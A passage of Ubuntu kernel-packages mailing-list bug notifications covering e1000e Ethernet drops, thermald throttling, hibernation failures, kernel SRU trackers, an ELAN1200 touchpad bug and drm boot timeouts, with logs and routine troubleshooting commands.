Maybe this additional information will help: *-network description: Ethernet interface product: Ethernet Connection (2) I219-V vendor: Intel Corporation physical id: 1f.6 bus info: pci@:00:1f.6 logical name: enp0s31f6 version: 00 serial: "removed" size: 1Gbit/s capacity: 1Gbit/s width: 32 bits clock: 33MHz capabilities: pm msi bus_master cap_list ethernet physical tp 10bt 10bt-fd 100bt 100bt-fd 1000bt-fd autonegotiation configuration: autonegotiation=on broadcast=yes driver=e1000e driverversion=3.2.6-k duplex=full firmware=0.2-4 ip="removed" latency=0 link=yes multicast=yes port=twisted pair speed=1Gbit/s resources: irq:125 memory:df30-df31 dmesg | grep e1000e [2.404883] e1000e: Intel(R) PRO/1000 Network Driver - 3.2.6-k [2.415926] e1000e: Copyright(c) 1999 - 2015 Intel Corporation. [2.427096] e1000e :00:1f.6: Interrupt Throttling Rate (ints/sec) set to dynamic conservative mode [2.690764] e1000e :00:1f.6 :00:1f.6 (uninitialized): registered PHC clock [2.762812] e1000e :00:1f.6 eth0: (PCI Express:2.5GT/s:Width x1) 70:85:c2:7d:b6:b5 [2.762813] e1000e :00:1f.6 eth0: Intel(R) PRO/1000 Network Connection [2.762867] e1000e :00:1f.6 eth0: MAC: 12, PHY: 12, PBA No: FF-0FF [2.866293] e1000e :00:1f.6 enp0s31f6: renamed from eth0 [ 13.818417] e1000e: enp0s31f6 NIC Link is Up 1000 Mbps Full Duplex, Flow Control: Rx/Tx Here's the logs from the NetworkManager service over the last few days. Aug 01 03:47:21 t2trvs01 NetworkManager[1358]: [1533109641.5958] manager: NetworkManager state is now CONNECTED_SITE Aug 01 03:47:23 t2trvs01 NetworkManager[1358]: [1533109643.5981] device (enp0s31f6): state change: activated -> deactivating (reason 'user-requested', sys-iface-state: 'managed') Aug 01 03:47:23 t2trvs01 NetworkManager[1358]: [1533109643.5986] manager: NetworkManager state is now DISCONNECTING Aug 01 03:47:23 t2trvs01 NetworkManager[1358]: [1533109643.6514] audit: op="device-disconnect" interface="enp0s31f6" ifindex=2 pid=2705 uid=1000 result="success" Aug 01 03:47:23 t2trvs01 NetworkManager[1358]: [1533109643.6517] device (enp0s31f6): state change: deactivating -> disconnected (reason 'user-requested', sys-iface-state: 'managed') Aug 01 03:47:23 t2trvs01 NetworkManager[1358]: [1533109643.6844] dhcp4 (enp0s31f6): canceled DHCP transaction, DHCP client pid 1840 Aug 01 03:47:23 t2trvs01 NetworkManager[1358]: [1533109643.6845] dhcp4 (enp0s31f6): state changed bound -> done Aug 01 03:47:23 t2trvs01 NetworkManager[1358]: [1533109643.6853] manager: NetworkManager state is now DISCONNECTED Aug 01 03:47:30 t2trvs01 NetworkManager[1358]: [1533109650.9943] device (enp0s31f6): Activation: starting connection 'netplan-enp0s31f6' (0fb5685d-476e-39b6-8090-4f5b35b00deb) Aug 01 03:47:30 t2trvs01 NetworkManager[1358]: [1533109650.9944] audit: op="connection-activate" uuid="0fb5685d-476e-39b6-8090-4f5b35b00deb" name="netplan-enp0s31f6" pid=2705 uid=1000 result="s Aug 01 03:47:30 t2trvs01 NetworkManager[1358]: [1533109650.9945] device (enp0s31f6): state change: disconnected -> prepare (reason 'none', sys-iface-state: 'managed') Aug 01 03:47:30 t2trvs01 NetworkManager[1358]: [1533109650.9946] manager: NetworkManager state is now CONNECTING Aug 01 03:47:30 t2trvs01 NetworkManager[1358]: [1533109650.9947] device (enp0s31f6): state change: prepare -> config (reason 'none', sys-iface-state: 'managed') Aug 01 03:47:30 t2trvs01 NetworkManager[1358]: [1533109650.9951] device (enp0s31f6): state change: config -> ip-config (reason 'none', sys-iface-state: 'managed') Aug 01 03:47:30 t2trvs01 NetworkManager[1358]: [1533109650.9953] dhcp4 (enp0s31f6): activation: beginning transaction (timeout in 45 seconds) Aug 01 03:47:30 t2trvs01 NetworkManager[1358]: [1533109650.9962] dhcp4 (enp0s31f6): dhclient started with pid 19238 Aug 01 03:47:31 t2trvs01 dhclient[19238]: DHCPREQUEST of 192.168.10.46 on enp0s31f6 to 255.255.255.255 port 67 (xid=0x1f78fd4) Aug 01 03:47:31 t2trvs01 dhclient[19238]: DHCPACK of 192.168.10.46 from 192.168.10.1 Aug 01 03:47:31 t2trvs01 NetworkManager[1358]: [1533109651.0423] dhcp4 (enp0s31f6): address 192.168.10.46 Aug 01 03:47:31 t2trvs01 NetworkManager[1358]: [1533109651.0424] dhcp4 (enp0s31f6): plen 24 (255.255.255.0) Aug 01 03:47:31 t2trvs01 NetworkManager[1358]: [1533109651.0424] dhcp4 (enp0s31f6): gateway 192.168.10.1 Aug 01 03:47:31 t2trvs01 NetworkManager[1358]: [1533109651.0425] dhcp4 (enp0s31f6): lease time 259200 Aug 01 03:47:31 t2trvs01 NetworkManager[1358]: [1533109651.0425] dhcp4 (enp0s31f6): nameserver '192.168.xx,xx' Aug 01 03:47:31 t2trvs01 NetworkManager[1358]: [1533109651.0426] dhcp4 (enp0s31f6): nameserver '8.8.8.8' Aug 01 03:47:31 t2trvs01 NetworkManager[1358]: [1533109651.0426] dhcp4 (enp0s31f6): nameserver
[Kernel-packages] [Bug 1600599] Re: Thermald is totally broken, or its default configuration is
Just had similar episodes as what is described here. My CPU apparently was close to overheating (though the maximum temperature I afterwards observed was 95°C, with a specified high/max of 100°C). The Ubuntu 18.04 on my laptop (Asus Zenbook UX301LA) consistently became unresponsive after starting high-cpu-usage tasks (compiling something using ninja-build); after stopping the thermald service, the unresponsiveness was gone even when running the high-cpu-usage tasks for a long time. The unresponsiveness is quite severe: Though I did manage one time to switch to the tty1 and log in there, I could never enter any more commands there (waiting for approximately a minute or so...). I eventually always had to resort to more harsh methods of restarting the laptop. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to thermald in Ubuntu. https://bugs.launchpad.net/bugs/1600599 Title: Thermald is totally broken, or its default configuration is Status in thermald package in Ubuntu: Fix Released Bug description: ** WORKAROUND**: shut down the thermald process completely. If your computer has an actual physical cooling fan and it's fully functional, you don't need thermald at all. I have Ubuntu 15.10 up to date with automatic updates and I never touched thermald configuration. This is on a laptop, which has an actual physical cooling fan (like most laptops). EXPECTED BEHAVIOR: as the CPU temperature increases, the fan should spin faster to keep the temperature from getting too high. ONLY IF, even with the fan at its full capacity, or approaching it, the temperature keeps growing, THEN that's when powerclamp and things like that should trigger, throttling the CPU, so that it doesn't burn (or shut down abruptly). Also, these kinds of CPU throttling should come in gradually as needed. That is, if you inject idle processes, you should inject just the minimum amount that is needed. For example, if the fan at its maximum speed is *almost* enough to keep the temperature below the threshold, but not *quite* enough, injecting just a small amount of idle time into the CPU should be enough to do that extra bit of cooling that is needed. You would barely notice it. It would not slow your system down a lot, unless the heating is *way* higher than the fan alone can fight. On a fully functional system (where the fan is enough to prevent the CPU from overheating and/or excessive CPU consumption does not occur in a huge degree for a long time), you shouldn't note any difference by shutting down thermald completely. Only on a system where the fan is not fully functional and/or hugely excessive CPU usage goes on for too long (actually, if the latter alone is enough to make it happen, it means that the fan is underdimensioned) would you notice the difference between having thermald (powerclamp and other CPU throttling mechanisms would kick in and prevent the temperature from becoming critical) and not having it (temperature would eventually go critical and something bad would happen, such as a sudden shutdown) OBSERVED BEHAVIOR When CPU temperature becomes high due to relatively high (not huge) CPU consumption, intel_powerclamp starts to kick in injecting idle processes and crippling the whole system. The observable result is that the system becomes unresponsive and unusable, yet the physical fan is sponning at roughly HALF of its maximum speed. So, you have a fast quad core machine, with a cooling fan that is perfectly capable of keeping the temperature down while using all the computing power that you require, BUT since powerclamp and things like that kick in too soon, you are limited to use a tiny fraction of the power your machine is capable of. To put it another way: you can't watch a f***ing youtube video in full screen because the whole system will become unresponsive. Even after removing and blacklisting the intel_powerclamp and intel_rapl kernel modules, the apparent behavior was practically the same, except that I wouldn't observe the "kidle_inject" processes by running "top". I guess there are other CPU-throttling mechanisms besides powerclamp and rapl. So now I have SHUT DOWN THERMALD completely, and my system behaves NORMALLY. The fan, of course, reaches higher speeds. Not even _much_ higher, which means that it needed just a little bit more speed to keep up with the heating. Powerclamp and other cpu throttling mechanisms were kicking in WAY too soon. It took me quite a long time to figure out that this was the problem. I just assumed that some bug was causing excessive CPU consumption for trivial stuff such as playing video (which is actually true but is not the whole story) and that the CPU consumption actually was causing too much heat for the fan to dissipate, making it necessary for powerclamp to kick in. Also, I thought my fan was probably filled with dust
[Kernel-packages] [Bug 1724265] Re: Unexpected memory allocation failure in hibernation snapshot (swsusp)
I am experiencing what I think is the same problem with kernel 4.17.0-996-generic. ** Attachment added: "journalctl with 2 hibernation attempts" https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1724265/+attachment/5171300/+files/journalctl.log -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1724265 Title: Unexpected memory allocation failure in hibernation snapshot (swsusp) Status in linux package in Ubuntu: Confirmed Bug description: In kernel 4.4.0-97, the system snapshot can fail during suspend-to- disk or -to-both even though the routine swsusp_save() believes that there is enough memory for the snapshot. What I expected to happen = After 'systemctl hibernate' or 'systemctl hybrid-sleep', the requested suspend state is reached, or a diagnostic is provided. What happened instead = After 'systemctl hibernate' or 'systemctl hybrid-sleep', system returns to normal desktop with no visible diagnostic after 'systemctl hibernate' or 'systemctl hybrid sleep'. System log/journal shows diagnostics and backtrace, as attached: ... Oct 17 10:51:45 Spiridion kernel: PM: Creating hibernation image: Oct 17 10:51:45 Spiridion kernel: PM: Need to copy 174616 pages Oct 17 10:51:45 Spiridion kernel: PM: Normal pages needed: 112567 + 1024, available pages: 115651 Oct 17 10:51:45 Spiridion kernel: s2both: page allocation failure: order:0, mode:0x2080120 ... Oct 17 10:51:45 Spiridion kernel: [] dump_stack+0x58/0x79 Oct 17 10:51:45 Spiridion kernel: [] warn_alloc_failed+0xd6/0x110 Oct 17 10:51:45 Spiridion kernel: [] __alloc_pages_slowpath.constprop.104+0x6c4/0x970 Oct 17 10:51:45 Spiridion kernel: [] ? __alloc_pages_nodemask+0x226/0x280 Oct 17 10:51:45 Spiridion kernel: [] __alloc_pages_nodemask+0x226/0x280 Oct 17 10:51:45 Spiridion kernel: [] alloc_image_page+0x1f/0x40 Oct 17 10:51:45 Spiridion kernel: [] swsusp_save+0x148/0x4b0 ... And the concluding entries after the memory debugging output: Oct 17 10:51:45 Spiridion kernel: PM: Memory allocation failed Oct 17 10:51:45 Spiridion kernel: PM: Error -12 creating hibernation image At this point the swsusp_save() function has successfully checked for free memory enough_free_mem(nr_pages, nr_highmem) and then called swsusp_alloc(_bm, _bm, nr_pages, nr_highmem) So either enough_free_mem() is not sufficiently accurate or conservative, or swsusp_alloc() is not sufficiently aggressive in using the available memory. This code seems to be the same at least down to the call to alloc_image_page() in later versions, eg 4.13.7. The functions 'systemctl hibernate', 'systemctl hybrid-sleep' have been seen to work as expected in the identical configuration when the system memory is more lightly loaded (eg "PM: Need to copy 103159 pages"). ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: linux-image-generic 4.4.0.97.102 ProcVersionSignature: Ubuntu 4.4.0-97.120-generic 4.4.87 Uname: Linux 4.4.0-97-generic i686 ApportVersion: 2.20.1-0ubuntu2.10 Architecture: i386 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: df 2143 F pulseaudio CurrentDesktop: LXDE Date: Tue Oct 17 14:52:34 2017 HibernationDevice: #RESUME=UUID=0107bf90-3e69-4f56-9a92-3477dd28b31c InstallationDate: Installed on 2017-02-12 (247 days ago) InstallationMedia: LXLE 16.04 - Release i386 MachineType: Dell Inc. Inspiron 1520 ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.4.0-97-generic root=UUID=b71d2286-3b2f-4856-a258-2f6bcf088c70 ro zswap.enabled=1 resume=UUID=b71d2286-3b2f-4856-a258-2f6bcf088c70 resume_offset=2363392 quiet splash vt.handoff=7 RelatedPackageVersions: linux-restricted-modules-4.4.0-97-generic N/A linux-backports-modules-4.4.0-97-generic N/A linux-firmware1.157.12 RfKill: 0: phy0: Wireless LAN Soft blocked: no Hard blocked: no SourcePackage: linux UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 07/11/2008 dmi.bios.vendor: Dell Inc. dmi.bios.version: A09 dmi.board.name: 0KY767 dmi.board.vendor: Dell Inc. dmi.chassis.type: 8 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvrA09:bd07/11/2008:svnDellInc.:pnInspiron1520:pvr:rvnDellInc.:rn0KY767:rvr:cvnDellInc.:ct8:cvr: dmi.product.name: Inspiron 1520 dmi.sys.vendor: Dell Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1724265/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784302] Re: linux: 4.4.0-132.158 -proposed tracker
** Changed in: kernel-sru-workflow/automated-testing Status: Confirmed => Incomplete -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784302 Title: linux: 4.4.0-132.158 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: Incomplete Status in Kernel SRU Workflow certification-testing series: Confirmed Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow prepare-package-signed series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: Fix Released Status in Kernel SRU Workflow promote-to-security series: New Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: Confirmed Status in Kernel SRU Workflow security-signoff series: Confirmed Status in Kernel SRU Workflow snap-certification-testing series: New Status in Kernel SRU Workflow snap-release-to-beta series: Confirmed Status in Kernel SRU Workflow snap-release-to-candidate series: New Status in Kernel SRU Workflow snap-release-to-edge series: Confirmed Status in Kernel SRU Workflow snap-release-to-stable series: New Status in Kernel SRU Workflow upload-to-ppa series: Invalid Status in Kernel SRU Workflow verification-testing series: Confirmed Status in linux package in Ubuntu: Invalid Status in linux source package in Xenial: Confirmed Bug description: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow backports: bug 1784303 (linux-aws), bug 1784304 (linux-lts-xenial) derivatives: bug 1784306 (linux-aws), bug 1784308 (linux-euclid), bug 1784310 (linux-kvm), bug 1784311 (linux-raspi2), bug 1784312 (linux-snapdragon) -- swm properties -- boot-testing-requested: true bugs-spammed: true phase: Promoted to proposed proposed-announcement-sent: true proposed-testing-requested: true To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1784302/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784306] Re: linux-aws: 4.4.0-1064.74 -proposed tracker
** Changed in: kernel-sru-workflow/automated-testing Status: Confirmed => Fix Released -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-aws in Ubuntu. https://bugs.launchpad.net/bugs/1784306 Title: linux-aws: 4.4.0-1064.74 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: Fix Released Status in Kernel SRU Workflow certification-testing series: Invalid Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: Fix Released Status in Kernel SRU Workflow promote-to-security series: New Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: Confirmed Status in Kernel SRU Workflow security-signoff series: Confirmed Status in Kernel SRU Workflow snap-release-to-beta series: Confirmed Status in Kernel SRU Workflow snap-release-to-candidate series: New Status in Kernel SRU Workflow snap-release-to-edge series: Confirmed Status in Kernel SRU Workflow snap-release-to-stable series: Invalid Status in Kernel SRU Workflow upload-to-ppa series: New Status in Kernel SRU Workflow verification-testing series: Confirmed Status in linux-aws package in Ubuntu: Invalid Status in linux-aws source package in Xenial: Confirmed Bug description: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- boot-testing-requested: true bugs-spammed: true phase: Promoted to proposed proposed-announcement-sent: true proposed-testing-requested: true To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1784306/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1778087] Re: ELAN1200 touchpad jumps around and disconnects
Dear Alistair, Many thanks for having me onboard! With regards to the touchpad model I can confirm that I have the same. I got the same spam in my dmesg [timestamp] i2c_hid i2c-ELAN1200:00: i2c_hid_get_input: incomplete report (16/65535) and that's how I came here in the first place. This was what gave me the idea to unload and load the module. Yes I can reload the module at runtime but I might know the reason for the black-screen that many experience. Is it possible that there is something going on with the Nvidia driver? Our difference is the card model (mine is the GTX1060 and yours is the GTX1050 if I'm correct) although I think there must be the driver in general (see below...although a bit off topic). At first, and before I realised the touchpad issue, I had black screens and errors by even trying to launch the Gnome tweak tool. I installed the Nvidia drivers from the "additional drivers" tab but realised that the process did not blacklist the nouveau driver (nothing relevant in my modprobe.d folder). I've managed to solve the problem by manually blacklisting the nouveau drivers by creating a blacklist-nouveau.conf file in modprobe.d including the following blacklist nouveau blacklist lbm-nouveau options nouveau modeset=0 alias nouveau off alias lbm-nouveau off ...I've seen this solution somewhere but don't have the link sorry... If you haven't done already try it...it might work. Again many thanks and sorry for the slight off topic. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1778087 Title: ELAN1200 touchpad jumps around and disconnects Status in linux package in Ubuntu: Confirmed Bug description: This is on an ASUS GL503VD laptop and would probably affect other ASUS laptops equipped with the ELAN1200 touchpad. I am on Kernel 4.17.2 because older kernels did not enable the touchpad at all(It was just unrecognized or i2c-hid stopped the computer from booting) The touchpad works but it has erratic behaviour and disconnects randomly. After it disconnects the only way to bring it back is to `modprobe -r hid-multitouch && modprobe hid-multitouch` Libinput and synaptics can handle the touchpad though I found synaptics to be more stable. dmesg gets spammed with this whenever I move the touchpad: [timestamp] i2c_hid i2c-ELAN1200:00: i2c_hid_get_input: incomplete report (16/65535) I tried to compile: https://github.com/mishurov/linux_elan1200_touchpad Because from what I understand the "jumpy/disconnect" problem is associated to the incomplete reports and Mishurov managed to mitigate those. Unfortunately some symbols were deprecated in kernel 4.17.2 and it did not compile for my system. While I can use my touchpad as is right now, and "restart" it with modprobe when needed, it would be nice to have it function bug-free. (Right after I typed this my touchpad disconnected and I needed to modprobe again, I am considering making a cronjob for that) Let me know if anything else is needed. Will wait for an apport collection to add log files. --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-06-10 (11 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) NonfreeKernelModules: nvidia_modeset nvidia Package: linux (not installed) ProcEnviron: TERM=screen PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_CA.UTF-8 SHELL=/bin/bash Tags: bionic Uname: Linux 4.17.2 x86_64 UnreportableReason: The running kernel is not an Ubuntu kernel UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: _MarkForUpload: True To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1778087/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1778087] Re: ELAN1200 touchpad jumps around and disconnects
Right on. Yeah apparently there are two different models for this touchpad, AFAIK. Good to know you have the same. Then this bug report concerns you and feel free to add any helpful information. You might be right, it could have been nouveau trying to take over. I actually have nouveau blacklisted in grub. The blackscreen happened a long time ago for me (Can't remember what I did to fix it, I think it was nvidia driver update from nvidia.com and kernel update from kernel.org). Now I can actually reload i2c_hid if I do it all in one command, e.g. modprobe -r i2c-hid && modprobe i2c-hid . Without experiencing any black-screen. The next problem is the freezing/jumping around. Reloading i2c_hid did not fix the freezing or jumping around for me :/. Thanks for your contribution to make linux better! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1778087 Title: ELAN1200 touchpad jumps around and disconnects Status in linux package in Ubuntu: Confirmed Bug description: This is on an ASUS GL503VD laptop and would probably affect other ASUS laptops equipped with the ELAN1200 touchpad. I am on Kernel 4.17.2 because older kernels did not enable the touchpad at all(It was just unrecognized or i2c-hid stopped the computer from booting) The touchpad works but it has erratic behaviour and disconnects randomly. After it disconnects the only way to bring it back is to `modprobe -r hid-multitouch && modprobe hid-multitouch` Libinput and synaptics can handle the touchpad though I found synaptics to be more stable. dmesg gets spammed with this whenever I move the touchpad: [timestamp] i2c_hid i2c-ELAN1200:00: i2c_hid_get_input: incomplete report (16/65535) I tried to compile: https://github.com/mishurov/linux_elan1200_touchpad Because from what I understand the "jumpy/disconnect" problem is associated to the incomplete reports and Mishurov managed to mitigate those. Unfortunately some symbols were deprecated in kernel 4.17.2 and it did not compile for my system. While I can use my touchpad as is right now, and "restart" it with modprobe when needed, it would be nice to have it function bug-free. (Right after I typed this my touchpad disconnected and I needed to modprobe again, I am considering making a cronjob for that) Let me know if anything else is needed. Will wait for an apport collection to add log files. --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-06-10 (11 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) NonfreeKernelModules: nvidia_modeset nvidia Package: linux (not installed) ProcEnviron: TERM=screen PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_CA.UTF-8 SHELL=/bin/bash Tags: bionic Uname: Linux 4.17.2 x86_64 UnreportableReason: The running kernel is not an Ubuntu kernel UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: _MarkForUpload: True To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1778087/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1785326] Re: The booting is too long with drm_atomic_helper_wait_for_dependencies errors (xenial+hwe, bionic).
** Attachment added: "dmesg.txt" https://bugs.launchpad.net/ubuntu/+source/linux-signed/+bug/1785326/+attachment/5171288/+files/dmesg.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-signed in Ubuntu. https://bugs.launchpad.net/bugs/1785326 Title: The booting is too long with drm_atomic_helper_wait_for_dependencies errors (xenial+hwe,bionic). Status in linux-signed package in Ubuntu: New Bug description: 1,2) Please see the apport attachments 3) Fast booting without errors as with xenial non-hwe kernels 4) The booting is too long The errors are similar to this: [drm:drm_atomic_helper_wait_for_dependencies [drm_kms_helper]] *ERROR* [CRTC:41:pipe B] flip_done timed out [drm:drm_atomic_helper_wait_for_dependencies [drm_kms_helper]] *ERROR* [PLANE:35:plane B] flip_done timed out The errors appears on Toshiba Satellite L300-11Q. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: linux-image-4.15.0-20-generic 4.15.0-20.21 ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17 Uname: Linux 4.15.0-20-generic x86_64 ApportVersion: 2.20.9-0ubuntu7 Architecture: amd64 CasperVersion: 1.394 CurrentDesktop: LXDE Date: Fri Aug 3 20:34:23 2018 LiveMediaBuild: Lubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=ru_RU.UTF-8 SHELL=/bin/bash SourcePackage: linux-signed UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux-signed/+bug/1785326/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1785326] [NEW] The booting is too long with drm_atomic_helper_wait_for_dependencies errors (xenial+hwe, bionic).
Public bug reported: 1,2) Please see the apport attachments 3) Fast booting without errors as with xenial non-hwe kernels 4) The booting is too long The errors are similar to this: [drm:drm_atomic_helper_wait_for_dependencies [drm_kms_helper]] *ERROR* [CRTC:41:pipe B] flip_done timed out [drm:drm_atomic_helper_wait_for_dependencies [drm_kms_helper]] *ERROR* [PLANE:35:plane B] flip_done timed out The errors appears on Toshiba Satellite L300-11Q. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: linux-image-4.15.0-20-generic 4.15.0-20.21 ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17 Uname: Linux 4.15.0-20-generic x86_64 ApportVersion: 2.20.9-0ubuntu7 Architecture: amd64 CasperVersion: 1.394 CurrentDesktop: LXDE Date: Fri Aug 3 20:34:23 2018 LiveMediaBuild: Lubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=ru_RU.UTF-8 SHELL=/bin/bash SourcePackage: linux-signed UpgradeStatus: No upgrade log present (probably fresh install) ** Affects: linux-signed (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug bionic xenial-hwe -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-signed in Ubuntu. https://bugs.launchpad.net/bugs/1785326 Title: The booting is too long with drm_atomic_helper_wait_for_dependencies errors (xenial+hwe,bionic). Status in linux-signed package in Ubuntu: New Bug description: 1,2) Please see the apport attachments 3) Fast booting without errors as with xenial non-hwe kernels 4) The booting is too long The errors are similar to this: [drm:drm_atomic_helper_wait_for_dependencies [drm_kms_helper]] *ERROR* [CRTC:41:pipe B] flip_done timed out [drm:drm_atomic_helper_wait_for_dependencies [drm_kms_helper]] *ERROR* [PLANE:35:plane B] flip_done timed out The errors appears on Toshiba Satellite L300-11Q. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: linux-image-4.15.0-20-generic 4.15.0-20.21 ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17 Uname: Linux 4.15.0-20-generic x86_64 ApportVersion: 2.20.9-0ubuntu7 Architecture: amd64 CasperVersion: 1.394 CurrentDesktop: LXDE Date: Fri Aug 3 20:34:23 2018 LiveMediaBuild: Lubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=ru_RU.UTF-8 SHELL=/bin/bash SourcePackage: linux-signed UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux-signed/+bug/1785326/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1785171] Re: Intel I219-V Ethernet Interface on Ubuntu Linux Using e1000e Driver keeps Dropping Internet Connection
Thanks for the replies. The "Internet dropping" issue started as soon as I installed this complete new Ubuntu Server 18.04 on the ASRock z370m Pro4 motherboard. Then added the GNOME Desktop, and had to change the Ethernet network configuration to use Netplan and NetworkManager service. Note: I know the motherboard and the I219-V network interface work perfectly as the same new motherboard ran CentOS Server 7.4 (minimal) with an XFCE Desktop flawlessly for over a week. CentOS 7.4 uses NetworkManager service by default (unlike Ubuntu Server which does things very different than CentOS Server for the network connection. I only decided to try Ubuntu Server 18.04 to gain access to a package that had a newer version than CentOS Server had (CentOS focuses on stability over features and it shows). I can't use the upstream Ubuntu kernel for fear too much of my server setup (Nvidia graphics, etc) will break. I've already seen bugs in the Nvidia graphics driver from the Ubuntu PPA (a separate issue), so I don't want to add more issues to this Ubuntu server setup. This Ethernet interface dropping Internet connectivity network issue is all I want to focus on right now. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1785171 Title: Intel I219-V Ethernet Interface on Ubuntu Linux Using e1000e Driver keeps Dropping Internet Connection Status in linux package in Ubuntu: Incomplete Status in linux source package in Bionic: Incomplete Bug description: I've turned up many, many new server and workstation systems over the years on both Linux and Windows. Never seen anything like this behaviour I'm witnessing on Ubuntu Server 18.04 before where I simply lose Internet connectivity while using a browser. Ethernet interfaces usually either work or they don't work. I've configured the Intel I219-V Ethernet interface (wired Ethernet connection, there is no wifi on this system) using the e1000e driver for Ubuntu. The Ethernet connection is configured to use NetworkManager via Netplan on Ubuntu 18.04 LTS Server version. ASRock Z370m Pro4 motherboard. The Ethernet interface will drop the Internet connectivity when I'm using either the Firefox or Chrome browser. It usually happens when I'm using the search features of the browser. I can't figure out what would cause this type of behaviour. When the Internet connection drops, the only way to get back Internet connectivity is to disconnect the wired connection using the Ubuntu features and then re-connect (this restarts the NetworkManager service I notice). In the NetworkManager logs I do notice an "auth" error about a file or directory not found. I've never seen that before. Note: The auth error does not coincide with the loss of Internet connectivity, but it does proceed it. Often there can be many hours between the auth error and the actual loss of Internet 